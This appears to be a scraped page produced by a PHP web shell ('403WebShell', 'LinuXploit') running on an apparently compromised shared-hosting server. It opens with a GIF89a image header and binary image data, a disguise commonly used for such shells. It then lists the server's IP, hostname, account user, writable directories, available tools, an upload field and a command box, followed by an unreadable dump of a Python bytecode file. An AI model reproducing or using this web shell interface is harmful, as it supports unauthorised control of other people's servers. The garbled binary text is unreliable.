GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 172.67.177.218  /  Your IP : 216.73.216.155
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python312/lib64/python3.12/lib2to3/pgen2/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python312/lib64/python3.12/lib2to3/pgen2/__pycache__/pgen.cpython-312.opt-1.pyc
�

��h6���ddlmZmZmZGd�dej�ZGd�de�ZGd�de�ZGd�d	e�Z	dd
�Z
y)
�)�grammar�token�tokenizec��eZdZy)�PgenGrammarN)�__name__�
__module__�__qualname__���9/opt/alt/python312/lib64/python3.12/lib2to3/pgen2/pgen.pyrrs��rrc�|�eZdZdd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d	�Z
d
�Zd�Zd�Z
d
�Zd�Zd�Zd�Zdd�Zd�Zd�Zy)�ParserGeneratorNc�<�d}|�t|d��}|j}||_||_t	j
|j�|_|j�|j�\|_
|_|�|�i|_|j�y)Nzutf-8)�encoding)�open�close�filename�streamr�generate_tokens�readline�	generator�gettoken�parse�dfas�startsymbol�first�addfirstsets)�selfrr�close_streams    r
�__init__zParserGenerator.__init__s������>��(�W�5�F�!�<�<�L� ��
����!�1�1�&�/�/�B����
�
��&*�j�j�l�#��	�4�#��#��N���
����rc	��t�}t|jj��}|j	�|j|j�|jd|j�|D]8}dt|j�z}||j|<||j|<�:|D�]}|j|}g}|D]�}g}t|jj��D]7\}	}
|j|j||	�|j!|
�f��9|j"r"|jd|j!|�f�|j|���|j$j|�||j'||�f|j|j|<��|j|j|_|S)N��)r�listr�keys�sort�remover�insert�len�
symbol2number�
number2symbol�sorted�arcs�items�append�
make_label�index�isfinal�states�
make_first�start)r�c�names�name�i�dfar4�stater.�label�nexts           r
�make_grammarzParserGenerator.make_grammarsz���M���T�Y�Y�^�^�%�&��
�
�
��
���T�%�%�&�
���Q��(�(�)��D��c�!�/�/�*�*�A�$%�A�O�O�D�!�!%�A�O�O�A����D��)�)�D�/�C��F�����#)�%�*�*�*:�*:�*<�#=�K�E�4��K�K�����E�!:�C�I�I�d�O� L�M�$>��=�=��K�K��C�I�I�e�$4� 5�6��
�
�d�#�
�
�H�H�O�O�F�#�-3�T�_�_�Q��5M�,N�A�F�F�1�?�?�4�(�)���/�/�$�"2�"2�3����rc�v�|j|}i}t|�D]}|j||�}d||<�|S�Nr)rr-r1)rr7r9�rawfirstrr=�ilabels       r
r5zParserGenerator.make_first4sD���:�:�d�#�����H�%�E��_�_�Q��.�F��E�&�M�&��rc��t|j�}|dj�r�||jvrX||jvr|j|S|jj|j|df�||j|<|St
t|d�}||jvr|j|S|jj|df�||j|<|St|�}|dj�rY||jvr|j|S|jjtj|f�||j|<|Stj|}||jvr|j|S|jj|df�||j|<|S�Nr#)r*�labels�isalphar+�symbol2labelr0�getattrr�tokens�eval�keywords�NAMEr�opmap)rr7r=rC�itoken�values      r
r1zParserGenerator.make_label=s���Q�X�X�����8��������'��A�N�N�*��>�>�%�0�0��H�H�O�O�Q�_�_�U�%;�T�$B�C�,2�A�N�N�5�)�!�M�!���t�4���Q�X�X�%��8�8�F�+�+��H�H�O�O�V�T�N�3�'-�A�H�H�V�$�!�M���K�E��Q�x���!��A�J�J�&��:�:�e�,�,��H�H�O�O�U�Z�Z��$7�8�(.�A�J�J�u�%�!�M�!���u�-���Q�X�X�%��8�8�F�+�+��H�H�O�O�V�T�N�3�'-�A�H�H�V�$�!�Mrc��t|jj��}|j�|D]"}||jvs�|j|��$y�N)r%rr&r'r�	calcfirst)rr8r9s   r
rzParserGenerator.addfirstsetsksB���T�Y�Y�^�^�%�&��
�
�
���D��4�:�:�%����t�$�rc
�8�|j|}d|j|<|d}i}i}|jj�D]�\}}||jvrd||jvr|j|}|�.t	d|z��|j|�|j|}|j
|�|||<�xd||<|di||<��i}	|j�D]/\}}
|
D]%}||	vrt	d|�d|�d|�d|	|����||	|<�'�1||j|<y)Nr#zrecursion for rule %rrzrule z is ambiguous; z is in the first sets of z as well as )rrr.r/�
ValueErrorrS�update)rr9r;r<�totalset�overlapcheckr=r>�fset�inverse�itsfirst�symbols            r
rSzParserGenerator.calcfirstss;���i�i��o����
�
�4���A������� �:�:�+�+�-�K�E�4���	�	�!��D�J�J�&��:�:�e�,�D��|�(�)@�4�)G�H�H��N�N�5�)��:�:�e�,�D�����%�&*��U�#�"#����',�a�j��U�#�.���+�1�1�3�O�E�8�"���W�$�$�&*�F�E�7�6�?�&L�M�M�#(����#� 4�$��
�
�4�rc��i}d}|jtjk7�r|jtjk(r.|j	�|jtjk(r�.|jtj�}|jtjd�|j�\}}|jtj�|j||�}t|�}|j|�t|�}|||<|�|}|jtjk7r��||fS)N�:)�typer�	ENDMARKER�NEWLINEr�expectrM�OP�	parse_rhs�make_dfar*�simplify_dfa)	rrrr9�a�zr;�oldlen�newlens	         r
rzParserGenerator.parse�s��������i�i�5�?�?�*��)�)�u�}�}�,��
�
���)�)�u�}�}�,��;�;�u�z�z�*�D��K�K����#�&��>�>�#�D�A�q��K�K��
�
�&��-�-��1�%�C���X�F����c�"���X�F��D��J��"�"��#�i�i�5�?�?�*�$�[� � rc
����fd�}�fd��t||�|�g}|D]�}i}|jD]2}|jD]!\}}	|��	�|	|j|i���#�4t	|j��D]L\}}
|D]}|j|
k(s�nt|
|�}|j
|�|j||��N��|S)Nc���i}�||�|SrRr)r<�base�
addclosures  �r
�closurez)ParserGenerator.make_dfa.<locals>.closure�s����D��u�d�#��Krc�Z��||vryd||<|jD]\}}|��	�||��yrA�r.)r<rmr=r>rns    �r
rnz,ParserGenerator.make_dfa.<locals>.addclosure�s7�����}���D��K�$�z�z���t��=��t�T�*� *r)�DFAState�nfasetr.�
setdefaultr-r/r0�addarc)
rr6�finishror4r<r.�nfastater=r>rs�strns
            @r
rezParserGenerator.make_dfa�s����	�	+��7�5�>�6�2�3���E��D�!�L�L��#+�=�=�K�E�4��(�"�4������)C�D�$1�)�"(��
�
��!5�
��v� �B��y�y�F�*��!�"�&�&�1�B��M�M�"�%����R��'�"6�
��
rc�D�td|�|g}t|�D]�\}}td|||uxrdxsd�|jD]X\}}||vr|j|�}	nt	|�}	|j|�|�td|	z��Itd||	fz��Z��y)NzDump of NFA for�  State�(final)�z	    -> %d�    %s -> %d)�print�	enumerater.r2r*r0)
rr9r6rv�todor:r<r=r>�js
          r
�dump_nfazParserGenerator.dump_nfa�s���
���&��w��!�$��H�A�u��)�Q���� =�I� C��D�$�z�z���t��4�<��
�
�4�(�A��D�	�A��K�K��%��=��+��/�*��.�E�1�:�5�6� *�(rc	��td|�t|�D]n\}}td||jxrdxsd�t|jj��D]$\}}td||j
|�fz��&�py)NzDump of DFA forrzr{r|r})r~rr3r-r.r/r2)rr9r;r:r<r=r>s       r
�dump_dfazParserGenerator.dump_dfa�ss��
���&�!�#��H�A�u��)�Q��
�
� ;�)� A�r�B�%�e�j�j�&6�&6�&8�9���t��n��s�y�y���'?�?�@� :�'rc���d}|r`d}t|�D]L\}}t|dzt|��D],}||}||k(s�||=|D]}|j||��d}�L�N|r�_yy)NTFr)r�ranger*�
unifystate)rr;�changesr:�state_ir��state_jr<s        r
rfzParserGenerator.simplify_dfa�s{������G�'��n�
��7��q��s�C��H�-�A�!�!�f�G��'�)���F�%(�E�!�,�,�W�g�>�&)�"&���.�-�rc��|j�\}}|jdk7r||fSt�}t�}|j|�|j|�|jdk(rU|j	�|j�\}}|j|�|j|�|jdk(r�U||fS)N�|)�	parse_altrP�NFAStaterur)rrgrh�aa�zzs     r
rdzParserGenerator.parse_rhs�s����~�~����1��:�:����a�4�K���B���B��I�I�a�L�
�H�H�R�L��*�*��#��
�
���~�~�'���1��	�	�!�������	�*�*��#�
�r�6�Mrc�h�|j�\}}|jdvs,|jtjtj
fvrb|j�\}}|j
|�|}|jdvr�5|jtjtj
fvr�b||fS)N)�(�[)�
parse_itemrPr_rrM�STRINGru)rrg�br7�ds     r
r�zParserGenerator.parse_alt
s������ ���1��z�z�Z�'��y�y�U�Z�Z����6�6��?�?�$�D�A�q�
�H�H�Q�K��A�	�z�z�Z�'��y�y�U�Z�Z����6�6��!�t�rc�z�|jdk(rX|j�|j�\}}|jtj
d�|j
|�||fS|j�\}}|j}|dvr||fS|j�|j
|�|dk(r||fS||fS)Nr��])�+�*r�)rPrrdrbrrcru�
parse_atom)rrgrhrPs    r
r�zParserGenerator.parse_items����:�:����M�M�O��>�>�#�D�A�q��K�K����#�&�
�H�H�Q�K��a�4�K��?�?�$�D�A�q��J�J�E��J�&��!�t���M�M�O�
�H�H�Q�K���|��!�t���!�t�rc���|jdk(rG|j�|j�\}}|jtj
d�||fS|jtjtjfvrDt�}t�}|j||j�|j�||fS|jd|j|j�y)Nr��)z+expected (...) or NAME or STRING, got %s/%s)rPrrdrbrrcr_rMr�r�ru�raise_error)rrgrhs   r
r�zParserGenerator.parse_atom(s����:�:����M�M�O��>�>�#�D�A�q��K�K����#�&��a�4�K�
�Y�Y�5�:�:�u�|�|�4�
4��
�A��
�A�
�H�H�Q��
�
�#��M�M�O��a�4�K����J�!�Y�Y��
�
�
4rc���|j|k7s|�8|j|k7r)|jd|||j|j�|j}|j�|S)Nzexpected %s/%s, got %s/%s)r_rPr�r)rr_rPs   r
rbzParserGenerator.expect9sX���9�9����!2�t�z�z�U�7J����8�!�5�$�)�)�T�Z�Z�
A��
�
���
�
���rc�0�t|j�}|dtjtjfvr;t|j�}|dtjtjfvr�;|\|_|_|_|_|_	yrE)
r>rr�COMMENT�NLr_rP�begin�end�line)r�tups  r
rzParserGenerator.gettokenAsp���4�>�>�"���!�f��)�)�8�;�;�7�7��t�~�~�&�C��!�f��)�)�8�;�;�7�7�AD�>��	�4�:�t�z�4�8�T�Yrc
���|r	||z}t	||j
|jd|jd|jf��#dj|gttt|��z�}Y�nxYw)N� r#r)�joinr%�map�str�SyntaxErrorrr�r�)r�msg�argss   r
r�zParserGenerator.raise_errorHsq���
=��D�j���#��
�
�t�x�x��{� $�����T�Y�Y� 8�9�	9��
=��h�h��u�t�C��T�N�';�;�<��s�A�.A7rR)rr	r
r!r?r5r1rrSrrer�r�rfrdr�r�r�rbrr�rrr
rr
s`��
��2�,"�\%�$�<!�0"�H7� A��*�"��(4�"�E�9rrc��eZdZd�Zdd�Zy)r�c��g|_yrRrq)rs r
r!zNFAState.__init__Ss	����	rNc�>�|jj||f�yrR)r.r0�rr>r=s   r
ruzNFAState.addarcVs��	
�	�	���%���'rrR)rr	r
r!rurrr
r�r�Qs���(rr�c�(�eZdZd�Zd�Zd�Zd�ZdZy)rrc�2�||_||v|_i|_yrR)rsr3r.)rrs�finals   r
r!zDFAState.__init__]s������������	rc�"�||j|<yrRrqr�s   r
ruzDFAState.addarces�� ��	�	�%�rc�p�|jj�D]\}}||us�||j|<�yrR)r.r/)r�old�newr=r>s     r
r�zDFAState.unifystateks0���9�9�?�?�,�K�E�4��s�{�#&��	�	�%� �-rc��|j|jk7ryt|j�t|j�k7ry|jj�D]$\}}||jj	|�us�$yy)NFT)r3r*r.r/�get)r�otherr=r>s    r
�__eq__zDFAState.__eq__psj���<�<�5�=�=�(���t�y�y�>�S����_�,���9�9�?�?�,�K�E�4��5�:�:�>�>�%�0�0��-�rN)rr	r
r!rur�r��__hash__rrr
rrrr[s��� �'�
��Hrrrc�8�t|�}|j�SrR)rr?)r�ps  r
�generate_grammarr��s����!�A��>�>��rN)zGrammar.txt)r|rrr�Grammarr�objectrr�rrr�rrr
�<module>r�sJ��
'�&�	�'�/�/�	�E9�f�E9�N
(�v�(�#�v�#�Jr

Youez - 2016 - github.com/yon3zu
LinuXploit